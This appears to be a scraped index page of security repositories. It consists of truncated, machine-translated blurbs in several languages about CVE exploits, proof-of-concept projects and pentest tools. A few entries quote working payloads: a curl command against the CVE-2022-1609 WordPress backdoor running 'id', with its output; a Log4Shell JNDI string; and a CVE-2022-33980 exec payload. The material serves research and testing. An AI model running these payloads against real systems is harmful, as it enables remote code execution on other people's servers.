CVE-2022-22947-exp

CVE-2022-22947-exp Reproduktion der Schwachstelle CVE-2022-22947, Exploit geschrieben Später wurde basierend auf dem Artikel eines Experten ein Exploit zur Injektion eines Memory Shells geschrieben nur als Referenz...

CVE-2024-3400

CVE-2024-3400 Descrizione Una vulnerabilità di iniezione di comandi, derivante da una debolezza di creazione arbitraria di file nella funzionalità GlobalProtect del software PAN-OS di Palo Alto Networks, per specifiche versioni di PAN-OS e distinte configurazioni di funzionalità, può consentire a...

CVE-2025-20029-simulation

🔐 Simulazione di Attacco Ripetibile – CVE-2025-20029 ⚠️ Questo repository simula CVE-2025-20029 in un ambiente sicuro e controllato. Non interagisce con sistemi F5 BIG-IP reali né sfrutta alcun servizio di produzione. L'obiettivo è educativo: studiare il pattern della vulnerabilità e testare i...

USN-8661-3: Linux kernel vulnerabilities

Siebe Devroe, Héloïse Gollier, and Mathy Vanhoef discovered that the WiFi implementation in the Linux kernel did not properly handle aggregated frames in mesh networks, due to an incorrect fix for CVE-2020-24588. A physically proximate attacker could use this issue to inject packets. CVE-2025-275...

CVE-2022-30525

CVE-2022-30525 Iniezione di comandi remoti non autenticata nei firewall Zyxel Versioni interessate Componenti interessati USG FLEX 100, 100W, 200, 500, 700 USG20-VPN, USG20W-VPN ATP 100, 200, 500, 700, 800 Versioni firmware ZLD5.00 thru ZLD5.21 Patch 1 ZLD5.10 thru ZLD5.21 Patch 1 ZLD5.10 thru...

CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 backdoor WordPress Weblizar curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

Vehicle-Service-Management-System-Service-List-Stored-Cross-Site-Scripting-XSS

CVE-2021-46072 Título do Exploit: Vehicle Service Management System - 'Service List' Cross-Site Scripting Armazenado XSS Autor do Exploit: SANU P.L CVE: CVE-2021-46072 CVSS: 4.8 MEDIUM Referências: https://www.plsanu.com/vehicle-service-management-system-service-list-stored-cross-site-scripting-x...

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Html-Injection

CVE-2021-46079 Titolo dell'exploit: Vehicle Service Management System - 'Multiple' File upload Leads to Html Injection Autore dell'exploit: SANU P.L CVE: CVE-2021-46079 CVSS: 7.2 HIGH Riferimenti: https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-html-injectio...

CVE-2024-34568

Exploit Title: LetterPress = 1.2.1 - Vulnerabilità di Furto di Cookie Exploit Author: SANU P.L CVE: CVE-2024-34568 CVSS: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L References: https://nvd.nist.gov/vuln/detail/CVE-2024-34568...

CVE-2021-46079

CVE-2021-46079 Titolo dell'Exploit: Vehicle Service Management System - 'Multiplo' Caricamento file porta a Iniezione HTML Autore dell'Exploit: SANU P.L CVE: CVE-2021-46079 CVSS: 7.2 ALTO Riferimenti:...

CVE-2021-46073

CVE-2021-46073 Titolo Exploit: Vehicle Service Management System - 'User List' Cross Site Scripting XSS persistente Autore Exploit: SANU P.L CVE: CVE-2021-46073 CVSS: 4.8 MEDIUM Riferimenti: https://www.plsanu.com/vehicle-service-management-system-user-list-stored-cross-site-scripting-xss...

CVE-2021-46071

CVE-2021-46071 Titolo Exploit: Vehicle Service Management System - 'Elenco Categorie' Stored Cross Site Scripting XSS Autore Exploit: SANU P.L CVE: CVE-2021-46071 CVSS: 4.8 MEDIUM Riferimenti: https://www.plsanu.com/vehicle-service-management-system-category-list-stored-cross-site-scripting-xss...

CVE-2021-46068

CVE-2021-46068 Título do Exploit: Vehicle Service Management System - 'MyAccount' Stored Cross Site Scripting XSS Autor do Exploit: SANU P.L CVE: CVE-2021-46068 CVSS: 4.8 MEDIUM Referências: https://www.plsanu.com/vehicle-service-management-system-myaccount-stored-cross-site-scripting-xss...

log4j2-issue-check

Avalie o Problema do Log4Shell: RCE 0-day Este repositório contém o código para avaliar o problema do Log4j2 CVE-2021-44228 Mais detalhes https://www.lunasec.io/docs/blog/log4j-zero-day/ Como Testar Envie uma solicitação GET com o parâmetro de consulta como $jndi:ldap://127.0.0.1:3089/...

CVE-2024-11728

CVE-2024-11728 KiviCare – Klinik- & Patientenverwaltungssystem EHR WordPress-Plugin: PoC für nicht authentifizierte SQL-Injection Dieses Repository enthält ein Proof-of-Concept-Skript PoC zur Ausnutzung einer SQL-Injection-Schwachstelle im KiviCare – Klinik- & Patientenverwaltungssystem EHR...

CVE-2022-33980-POC

CVE-2022-33980 $script:js:java.lang.Runtime.getRuntime.exec"calc"...

CVE-2024-32640

CVE-2024-32640 PoC per SQL injection basata sul tempo...

argumentinjectionhammer

Argument Injection Hammer Argument Injection Hammer ist eine Erweiterung für den Intercepting Proxy Burp Suite, die die Fähigkeit des Scanners erweitert, Argument Injection und Manipulationsschwachstellen in Webanwendungen und Webdiensten zu erkennen. Eine Webanwendung ist anfällig für Argument...

Web-Penetration-Test

Web-Penetration-Test Sfruttamento delle vulnerabilità di WordPress CVE-2025-34077, bypass dell'autenticazione tramite iniezione di cookie e escalation dei privilegi a root. Parte della mia Specializzazione in Cybersecurity. Giorno 1: Hacking del mio Primo Sito Web Rapporto di Laboratorio:...

DatajackProxy

Datajack Proxy Datajack Proxy ist ein Werkzeug zum Abfangen von Nicht-HTTP-Datenverkehr zwischen einer nativen Anwendung und einem Server. Dies ermöglicht die Überwachung und Modifikation der Kommunikation, selbst wenn Verschlüsselung und Zertifikat-Pinning verwendet werden. Dies wird erreicht,...